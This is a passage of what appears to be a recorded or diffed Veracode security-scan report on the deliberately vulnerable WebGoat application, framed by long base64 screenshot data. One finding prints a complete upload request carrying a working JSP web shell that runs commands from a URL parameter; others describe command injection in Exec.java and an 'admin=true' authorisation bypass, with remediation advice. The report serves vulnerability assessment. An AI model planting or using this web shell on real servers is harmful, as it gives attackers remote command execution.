EE9q11960eOSc/jEG3/PNuyLAECBAhsvsDMY9Jdwdx14liToX68GUh9x5/r9fqOWefHx9Zpv6EY0452/xaZqXcFb9dx8Lytdj83/+mjBwQIECBQUmBUSJdsgNoECBAgQIBAt8BaH5M2aAQIECBAYJcFhPQuj76+EyBAgMBaCwjptR4ejSNAgACBXRYQ0rs8+vpOgAABAmstIKTXeng0jgABAgR2WUBI7/Lo6zsBAgQIrLWAkF7r4dE4AgQIENhlASG9y6Ov7wQIECCw1gJCeq2HR+MIECBAYJcFhPQuj76+EyBAgMBaCwjptR4ejSNAgACBXRYQ0rs8+vpOgAABAmstIKTXeng0jgABAgR2WUBI7/Lo6zsBAgQIrLWAkF7r4dE4AgQIENhlASG9y6Ov7wQIECCw1gJCeq2HR+MIECBAYJcFhPQuj76+EyBAgMBaCwjptR4ejSNAgACBXRYQ0rs8+vpOgAABAmstIKTXeng0jgABAgR2WUBI7/Lo6zsBAgQIrLWAkF7r4dE4AgQIENhlgaWF9N7e3qBjXmbMcs1C9TpD646pO2aZwU6s2QLX1acx2xkaoy464zv7CTXGfc2ektfaHM8fz59rfcKtYGNLC+n3798PNn/MMu2Azus07+0XrUWCob2NwYavcIF1eZEeM3ZjljG+nz6Z1mV8V/gUX3jT2c7rw/DkaGFgK66FwF56kvema/0CUi/S/jn3oPki01Wq/Xj9h9Vet6nR3F67ZnP9rhf8PtWu9bpeILu219e2/Pu8fLtPzRqz+t9l0Ldu3YY+43kDsq7X1b66X8Z3u8e3+ffc93fc/hvpen72vT501R/6++p77nl9uBK47teHtUipHW/EzJCuX6TbT4yxQdEOxq6Qn+XfF6xjtz8mxPtCv6vv7d/1vQjVNYf6P6Z/s9rXDNpFQnqofUN+86zfNc5j+j+2j4u8eRva/i6M76y/ySGfMa8PXW/0F3kT7vlzJdD1Nzf0tz/mNWTHc3Ctu7+03d1jetn1Ljo/gdr35qyx77Ex27uOZZp9GvpjqXfNrWv/hto/5Gl8rw7NbNr4Rsd93ufFLJ/2hMDrw6evj0PWHt8+gWsN6TZf+3hSO8Ty8u1ltmkI6ne4zT5uU/+M7+fHTLdpfJfRl/ZzpL3bves51Nyu14dljIIa6ywwV0i3j0/N27FlrF/6XX+0jUMms+qP2faYZYba0Pd4tPYy1je+5U4Eio7P0PNq3vrzLj9m+54/5Z4/Q/4eLyMweEw6b7bv2Fzzsfa72/rn9jvjWcfA2l1s/xH3HYvumqF31er7A263sbluXxtm9at5DGioD2N8ZrWvHoNFX5y6tj/PySlj2j/2TYHx/fTEoObfUInx7QrJrkMWfX/b7b/xvG7773vW83/M9me97A39bY15fRpjvMuvD2ViR9V5BEaF9DwF13nZZniuczvnaduy+7TsevP0JbrsJrd91huZRQO6q+Z1G1339iLPoU1q69h+bmOfxvZ9W5aba3f3tnRaP34RyH/EzfsyA4Hz6gVWOb71DHTZu7VXr6oFBK5PYKdm0tfHaksECBAgQCAuYCYdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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